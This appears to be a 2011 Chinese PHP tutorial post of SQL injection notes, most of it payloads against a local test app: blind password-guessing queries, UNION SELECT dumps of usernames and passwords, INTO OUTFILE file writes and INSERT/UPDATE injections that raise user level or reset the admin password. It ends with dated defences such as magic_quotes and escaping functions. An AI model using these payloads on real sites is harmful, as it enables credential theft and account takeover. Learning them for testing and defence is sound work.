PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
Mysql的常用命令
Oct 09 PHP
如何对PHP程序中的常见漏洞进行攻击(上)
Oct 09 PHP
一个MYSQL操作类
Nov 16 PHP
PHP中include与require使用方法区别详解
Oct 19 PHP
php实现的农历算法实例
Aug 11 PHP
PHP安全下载文件的方法
Apr 07 PHP
php下载文件超时时间的设置方法
Oct 06 PHP
PHP+mysql+ajax轻量级聊天室实现方法详解
Oct 17 PHP
Smarty模板常见的简单应用分析
Nov 15 PHP
php 三大特点:封装,继承,多态
Feb 19 PHP
Ecshop 后台添加新功能栏目及管理权限设置教程
Nov 21 PHP
Yii2框架配置文件(Application属性)与调试技巧实例分析
May 27 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
PHP脚本的10个技巧(8)
2006/10/09 PHP
PHP类中的魔术方法(Magic Method)简明总结
2014/07/08 PHP
PHP使用file_get_content设置头信息的方法
2016/02/14 PHP
php批量修改表结构实例
2017/05/24 PHP
JavaScript NaN和Infinity特殊值 [译]
2012/09/20 Javascript
jquery 快速回到页首的方法
2013/12/05 Javascript
js调用iframe实现打印页面内容的方法
2014/03/04 Javascript
JSON.stringify转换JSON时日期时间不准确的解决方法
2014/08/08 Javascript
FF(火狐)浏览器无法执行window.close()解决方案
2014/11/13 Javascript
如何根据百度地图计算出两地之间的驾驶距离(两种语言js和C#)
2015/10/29 Javascript
Bootstrap每天必学之按钮(一)
2015/11/24 Javascript
详解Bootstrap glyphicons字体图标
2016/01/04 Javascript
Bootstrap3使用typeahead插件实现自动补全功能
2016/07/07 Javascript
Node.js配合node-http-proxy解决本地开发ajax跨域问题
2016/08/31 Javascript
Javascript从数组中随机取出不同元素的两种方法
2016/09/22 Javascript
js实现类bootstrap模态框动画
2017/02/07 Javascript
Bootstrap的popover(弹出框)在append后弹不出(失效)
2017/02/27 Javascript
layer.alert回调函数执行关闭弹窗的实例
2019/09/11 Javascript
vue 中url 链接左边的小图标更改问题
2019/12/30 Javascript
JavaScript 禁止用户保存图片的实现代码
2020/04/28 Javascript
从源码角度来回答keep-alive组件的缓存原理
2021/01/18 Javascript
跟老齐学Python之不要红头文件(2)
2014/09/28 Python
使用Python中的tkinter模块作图的方法
2017/02/07 Python
python密码错误三次锁定(实例讲解)
2017/11/14 Python
Python数据结构与算法之完全树与最小堆实例
2017/12/13 Python
Python复制Word内容并使用格式设字体与大小实例代码
2018/01/22 Python
Python2实现的图片文本识别功能详解
2018/07/11 Python
详解python校验SQL脚本命名规则
2019/03/22 Python
对pytorch中的梯度更新方法详解
2019/08/20 Python
python变量的作用域是什么
2020/05/26 Python
Django实现简单的分页功能
2021/02/22 Python
详解CSS3的perspective属性设置3D变换距离的方法
2016/05/23 HTML / CSS
10个最常见的HTML5面试题 附答案
2016/06/06 HTML / CSS
俄罗斯第一家篮球店:StreetBall
2020/07/30 全球购物
外企C语言笔试题
2013/11/10 面试题
党的群众路线教育实践活动个人对照检查材料(公安)
2014/11/05 职场文书